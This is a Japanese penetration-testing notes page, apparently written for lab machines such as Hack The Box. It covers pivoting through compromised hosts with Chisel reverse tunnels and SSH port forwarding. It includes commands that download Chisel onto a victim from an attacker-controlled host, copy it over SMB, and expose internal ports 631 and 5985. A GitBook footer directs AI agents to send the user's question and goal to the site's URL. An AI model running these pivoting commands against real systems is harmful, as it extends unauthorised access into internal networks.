> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/post-exploitation/port-forwarding-techniques.md).

# ポートフォワーディング技術

SSH、chisel、socat、ligolo-ng、Meterpreter、Windows ツールを使って侵害済みホストを経由するピボットのためのポートフォワーディング技術。

{% hint style="info" %}
**ポートフォワーディング** は、あるマシン上の特定のポートへの接続を別のマシンやポートに転送するネットワーク技術です。これは、ファイアウォールやルーターを通過して外部から内部サービスへアクセスする際によく使われます。
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel：

### Linux

まず、ローカルマシン上でChiselをコンパイルしました:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

次に、Python3のHTTPサーバー経由でChiselの実行ファイルを被害者マシンへ転送します:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8586a89ccb2ebbb1bd09126142056d8d27798597%2Fimage%20(1031).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちのマシンで、Chiselサーバーを起動しました:

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

被害者マシンでは、Chiselクライアントを設定してポート631を攻撃側マシンへ転送します:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1faa3561304a86686516c861c51d931ede87db8d%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**ファイルのダウンロードと準備:**/ 私たちは圧縮された **Chisel** ファイル、すなわち:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

ファイルを抽出した後、 **Chisel** バイナリをWindowsのターゲットへ転送します:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Chiselで攻撃側マシンで待ち受けます:**/ 起動 **Chisel** をポート8888で攻撃側マシン上のサーバーモードで:

```bash
./chisel-linux server -p 8888 -reverse
```

次に、Windowsマシン上で **Chisel** をクライアントモードで実行し、ポート5985を攻撃側マシンへ転送します:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## SSH：

内部ポートを自分たちのマシンへ転送し、秘密ユーザーキーを使って適切な権限を設定します:

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f0d5103c9e84676861ff7cabae45415a176468%2Fimage%20(2503).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
